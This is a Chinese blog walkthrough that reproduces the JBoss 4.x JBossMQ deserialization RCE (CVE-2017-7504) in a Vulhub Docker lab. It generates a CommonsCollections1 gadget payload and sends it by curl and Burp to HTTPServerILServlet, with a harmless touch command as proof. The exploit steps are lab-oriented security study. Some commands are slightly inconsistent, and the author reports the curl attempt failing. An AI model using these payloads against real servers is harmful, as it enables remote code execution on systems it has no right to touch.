JBoss 4.x JBossMQ JMS 反序列化漏洞(CVE-2017-7504)
- Vulnhub官方复现教程
- 漏洞原理
- 复现过程
- 启动环境
- 漏洞复现
- 发送POC
- 通过命令
- 通过`BurpSuit`发送
- 检测POC是否成功
Vulnhub官方复现教程 【利用Vulnhub复现漏洞 - JBoss 4.x JBossMQ JMS 反序列化漏洞(CVE-2017-7504)】https://vulhub.org/#/environments/jboss/CVE-2017-7504/
漏洞原理
Red Hat JBoss Application Server 是一款基于JavaEE的开源应用服务器。JBoss AS 4.x及之前版本中,JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。
参考:
- https://github.com/joaomatosf/JavaDeserH2HC
- https://www.youtube.com/watch?v=jVMr4eeJ2Po
https://blog.csdn.net/JiangBuLiu/article/details/93853056
进入路径为
cd /root/vulhub/jboss/CVE-2017-7504
搭建及运行漏洞环境:
docker-compose build && docker-compose up -d
用时:13分钟
环境启动后,访问
http://your-ip:8080
文章图片
漏洞复现
参考利用工具JavaDeserH2HC,我们选择一个Gadget:
ExampleCommonsCollections1WithHashMap
,编译并生成序列化数据:javac -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1WithHashMap.java
java -cp commons-collections-3.2.1.jar ExampleCommonsCollections1WithHashMap.java "touch /tmp/CVE-2017-7504_is_success"
出现
Warning
没关系文章图片
由于执行的命令是
touch /tmp/success
。执行完成后,将生成一个文件发送POC POC文件
ExampleCommonsCollections1WithHashMap.ser
将该文件作为body发送如下数据包:
通过命令
curl http://your-ip:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @ExampleCommonsCollections1WithHashMap.ser
我的环境不成功
文章图片
通过
BurpSuit
发送
GET /jbossmq-httpil/HTTPServerILServlet HTTP/1.1
Host: 192.168.236.143:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0;
Win64;
x64;
rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;
q=0.9,*/*;
q=0.8
Accept-Language: zh-CN,zh;
q=0.8,zh-TW;
q=0.7,zh-HK;
q=0.5,en-US;
q=0.3,en;
q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 1236粘贴POC文件
检测POC是否成功 进入容器
docker-compose exec jboss bash
可见
/tmp
下的CVE-2017-7504_is_success
已成功创建。文章图片